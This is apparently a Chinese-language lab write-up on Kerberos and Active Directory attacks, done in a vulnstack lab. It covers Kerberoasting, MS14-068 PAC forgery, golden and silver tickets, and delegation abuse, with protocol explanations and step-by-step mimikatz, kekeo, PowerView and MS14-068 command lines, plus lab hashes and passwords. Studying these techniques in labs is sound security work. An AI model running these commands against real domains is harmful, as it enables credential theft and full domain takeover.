Kerberos 流程

AS_REQ & AS_REP
认证客户端身份,确定客户端是一个可靠且拥有访问 KDC 权限的客户端。
用户向 KDC 发起 AS_REQ,请求凭据是用户 hash 加密的时间戳,KDC 使用用户 hash 进行解密,如果结果正确返回用 krbtgt hash 加密的 TGT 票据

TGS_REQ & TGS_REP
获取能够访问目标网络服务的服务授予票据 Ticket
用户凭借 TGT 票据向 KDC 发起针对特定服务的 TGS_REQ 请求,KDC 使用krbtgt hash 进行解密,如果结果正确,就返回用服务hash 加密的 TGS 票据

SE_REQ & SE_REP
用户拿着 TGS 票据去请求服务,服务使用自己的 hash 解密 TGS 票据。如果解密正确,就允许用户访问。

实验:Kerberoasting
环境用的 vulnstack1/4 的win7 和 DC,工具包:https://github.com/nidem/kerberoast
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
.\GetUserSPNs.ps1 (SPN扫描)
cscript .\GetUserSPNs.ps1 (spn扫描)
klist (查看当前会话存储的kerberos票据)
mimikatz # kerberos::list /export (导出票据)




把导出的票据用工具集中的 tgsrepscrack.py 工具离线爆破(xs,根本爆不出来)

实验:MS14-0684
漏洞原理:
关于 PAC
PAC 是用于判断用户是否有权限访问服务,包含了用户的 sid,在 KRB_AS_REP 的 TGT 中,
最后用户拿着 TGS 票据去请求服务,服务使用自己的 hash 解密 TGS 票据。如果解密正确,就拿着PAC去KDC那边询问用户有没有访问权限,域控解密 PAC 。获取用户的 sid,以及所在的组,再判断用户是否有访问服务的权限。
只有KDC能制作和查看PAC。
问题出在了签名的时候允许所有的 checksum 算法,包括 MD5,公平公正公开 意味着我们可以随意更改 PAC 的内容,完了之后再用 md5 给他生成一个服务检验和以及 KDC 校验和。
攻击流程:
whoami /all (查看sid)
.\MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-97988601107 -d WIN-ENS2VR5TR3N
mimikatz # kerberos::purge (删除当前缓存票据)
mimikatz # kerberos::ptc TGT_douser@demo.com.ccache
跟着源码看一下和 KDC 交互产生漏洞的过程:
KRB_AS_REQ : Client 会向 KDC 申请一个不包含 PAC 的 TGT 票据(微软默认)

KRB_AS_REP : 然后用 tgt_a 存储收到的 TGT 票据

KRB_TGS_REQ : 通过 build_pac 函数构造 PAC,通过 build_tgs_req 构造 TGS_REQ

追到 build_pac 中,注意最签名的 checksum,传入的参数写死在函数调用里了(RSA_MD5),原则上这个加密方式应该有 KDC 指定

然后通过对 user_id 的分割构造了高权限组 SID 的 PAC。
域用户(513)
域管理员(512)
架构管理员(518)
企业管理员(519)
组策略创建者所有者(520)
在 build_tgs_req 中,使用 subkey(一串16位随机数) 进行加密

到目前出现的问题:
- 域中默认 include-pac 为 False
- PAC 签名方式可以由 Client 指定,并且 Key 可以为空
- PAC 加密方式可以由 Client 指定,并且 Key 为16位随机数
- 构造的 PAC 中包含高权限组的 SID 内容
KRB_TGC_REP : tgt_b 会接收到一张新的,包含 Pykek 生成的 PAC 的 TGT,正常情况下应该返回一张用于发送给 Server 段认证的 ST 票据。

然后保存生成 ccache,那么现在已经是有一张高权限且内容正常的 TGT 票据。
Golden Ticket
通过伪造 TGT 获得权限,使用条件:
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
这里使用 mimikatz 来进行攻击
lsadump::dcsync /domain:god.org /user:krbtgt (获取 krbtg 的 hash)
kerberos::golden /admin:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:golden.kiribi (生成金票)
kerberos::ptt golden:kiribi (把票据导入内存)
此时已经可以通过 dir 访问域控的共享文件夹了


Silver Tickets
通过伪造 ST (Service Ticket) ,因为 TGT 已经在 PAC 中限定了授权(通过 SID),所以银票只能访问指定服务,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名则银票将不起作用。使用条件:
1.域名称
2.域的SID值
3.域的服务账户的密码HASH(不是krbtgt,是域控)
4.伪造的用户名,可以是任意用户名,这里是silver
上一个实验的环境和工具
sekurlsa::logonpasswords (查看当前域账号 administrator 的 hash 值)
Enhanced Golden Tickets
普通的黄金票据不能跨域使用,但可以通过域内主机在迁移时SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。
非约束委派
攻击流程:
- 找到配置非约束委派的账户( LADP查找工具或 powershell 脚本)
- 拿下该账户权限
- 诱导域管访问该账户(此时域管会将自己 TGT 发送到该账户并缓存到 LSASS 中)
- 从LSASS中导出域管的TGT票据,然后通过PTT,从而拥有域管的权限、
原理:
User 将从 KDC 处得到的 TGT 发送给 service1,而 service1 拿到 TGT 之后可以通过 TGT 访问域内其他任意服务。

复现,还是 vulnstack1 的环境
setspn -U -A variant/golden liukaifeng01 //配置test用户为服务账户
setspn -l liukaifeng01 //查看是否配置成功


然后将 liukaifeng01 用户设置为非约束委派,再开启 winrm 服务
winrm quickconfig (注意这里只能有链接域的网卡,不能有公网)
导入 powerview.ps1(powerspliot中的),先查询一波(域控主机上运行)
Get-NetUser -Unconstrained -Domain god.org //查询配置非约束委派的账户
Get-NetComputer -Unconstrained -Domain god.org //查询配置非约束委派的主机
然后再域控上使用 administrator 访问 liukaifeng01 所在主机上的 smb 服务

mimikatz 导出票据
privilege::debug
sekurlsa::tickets /export
然后选择一张 Administrator@krbtgt + 域名的票据并导入
kerberos:ptt 票据名
kerberos::list (查看当前票据)
导入之后已经可以访问域控的共享目录。
约束委派
攻击流程:
- 找到配置了约束委派的服务账号
- 拿下该账号所在的机子
- 利用这个服务账号代表任意用户进行s4u2self获得一个可转发的票据
- 把获取到的票据用于s4u2proxy(作为AddtionTicket),从未获取一个可转发的TGS,服务就可以代替任意用户访问另外一个服务(既被配置的约束委派的服务
原理:
User 不会直接发送 TGT 服务,而是对发送给的 service1 的认证信息做了限制,不允许 service1 代表 User 使用这个 TGT 取访问其他的服务。
使用了扩展协议: Service for User to Self (S4U2Self) (1-4)和 Service for User to Proxy (S4U2Proxy) (5-10)

环境同上,不过把用户换成约束委派

Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl (查询域中配置约束委派的账户)
Get-DomainUser -TrustedToAuth -Domain god.org (查看设置了约束委派的用户)
Get-DomainComputer -TrustedToAuth -Domain god.org (查询域中配置约束委派的主机)

然后使用 kekeo 操作
tgt::ask /user:liukaifeng01 /domain:god.org /password:!QAZ2wsx /ticket:test.kirbi (申请 TGT)
tgs::s4u /tgt:TGT_liukaifeng01@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:administrator@god.org /service:cifs/owa.god.org (申请 TGS)
然后使用 mimikatz 将生成的 TGS 文件导入 kerberos 凭据列表中
kerberos::purge
kerberos::ptt TGS_administrator@god.org@GOD.ORG_cifs~owa.god.org@GOD.ORG.kirbi

资源约束委派
配置约束委派需要 SeEnableDelegation 权限(通常仅授予 Domain Admins),所以只能利用已有的,但对于基于资源的约束委派,假如我们有了服务账号1 + 用户2的LDAP权限,就可以配置服务1对服务2的约束委派,服务1就可以控制服务2。
攻击流程:
- 拥有一个任意的服务账户1 或者计算机账户1
- 获得服务账户2 的LDAP权限(结合ntlm relay)
- 配置服务1对服务2的约束委派(在服务账户2的用户属性上配置msDS-AllowedToActOnBehalfOfOtherIdentity为1的sid)
- 发起一个从服务1到服务2的正常的约束委派的流程,从而访问服务2
参考文献: